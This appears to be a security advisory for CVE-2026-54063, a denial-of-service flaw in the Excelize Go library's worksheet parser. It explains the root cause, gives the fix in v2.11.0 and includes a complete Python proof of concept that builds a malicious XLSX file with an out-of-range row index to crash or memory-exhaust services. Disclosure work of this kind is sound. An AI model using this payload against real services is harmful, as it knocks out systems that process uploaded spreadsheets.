CVE-2026-54063: Excelize Unbounded Row Allocation DoS in Worksheet Parser
A crafted XLSX file with a malicious row index value can crash or memory-exhaust any Go service that uses Excelize to open untrusted spreadsheets, requiring no authentication.
The problem
The `checkSheet()` function in `github.com/xuri/excelize/v2` reads the `<row r="N">` attribute from worksheet XML and passes it directly to `make([]xlsxRow, row)` with no bounds check against the Excel row limit (`TotalRows = 1,048,576`).
Two crash paths exist. Setting `r=2147483647` forces a ~16 GB allocation attempt, killing the process via OOM. Setting `r=-1` causes the second loop in `checkSheet()` to index `sheetData.Row[-2]`, triggering a `runtime error: index out of range [-2]` panic. Any API that calls `workSheetReader` internally is affected, including `GetCellValue`, `GetRows`, and `GetCols`.
Proof of concept
A working proof-of-concept for CVE-2026-54063 in github.com/xuri/excelize/v2, with the exact payload below.
import zipfile
# Variant B: runtime panic (index out of range [-2])
# Change row to "2147483647" for Variant A (OOM kill)
row = "-1"
CONTENT_TYPES = '''<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>'''
RELS = '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>'''
WORKBOOK = '''<?xml version="1.0" encoding="UTF-8"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>
</workbook>'''
WORKBOOK_RELS = '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
</Relationships>'''
SHEET = f'''<?xml version="1.0" encoding="UTF-8"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData><row r="{row}"><c r="A1"><v>1</v></c></row></sheetData>
</worksheet>'''
with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("[Content_Types].xml", CONTENT_TYPES)
z.writestr("_rels/.rels", RELS)
z.writestr("xl/workbook.xml", WORKBOOK)
z.writestr("xl/_rels/workbook.xml.rels", WORKBOOK_RELS)
z.writestr("xl/worksheets/sheet1.xml", SHEET)
# --- trigger (Go) ---
# f, _ := excelize.OpenFile("malicious.xlsx")
# f.GetCellValue("Sheet1", "A1") // panics: index out of range [-2]The root cause is CWE-770: the `checkSheet()` loop accumulates the maximum `r` value from attacker-controlled XML, then calls `make([]xlsxRow, row)` at `excelize.go:377` before any validation. The constant `TotalRows = 1048576` exists in `templates.go` but was never applied at this sink.
For `r=-1`, the accumulation condition `r.R != 0` skips the value, leaving `row=0` and allocating an empty slice. The second loop then evaluates `sheetData.Row[r.R-1]` which is `sheetData.Row[-2]`, an out-of-bounds index that panics immediately.
The patch in v2.11.0 adds explicit guards before the `make()` call: it returns `newInvalidRowNumberError` for any `r.R < 0` and returns `ErrMaxRows` for any `r.R > TotalRows`, so neither boundary can reach the allocation.
The fix
Upgrade to `github.com/xuri/excelize/v2` v2.11.0. The fix adds row-number validation in `checkSheet()` before the `make()` call, rejecting any `<row r>` value that is negative or exceeds the Excel limit of 1,048,576. If you process untrusted XLSX uploads and cannot upgrade immediately, reject files server-side before passing them to `OpenFile` or `OpenReader`.
Related research
- high · 7.5Hysteria: HTTP Sniff Unbounded Header Read Server DoS
- high · 7.5Hysteria Server Crash via Tiny QUIC max_datagram_frame_size
- high · 7.5CVE-2026-48702CVE-2026-48702: Rekor Alpine APK Gzip Decompression Bomb (OOM DoS)
- high · 7.5CVE-2026-54066CVE-2026-54066: SiYuan Unauthenticated Path Traversal via Double URL Encoding in /assets/ (Publish Mode)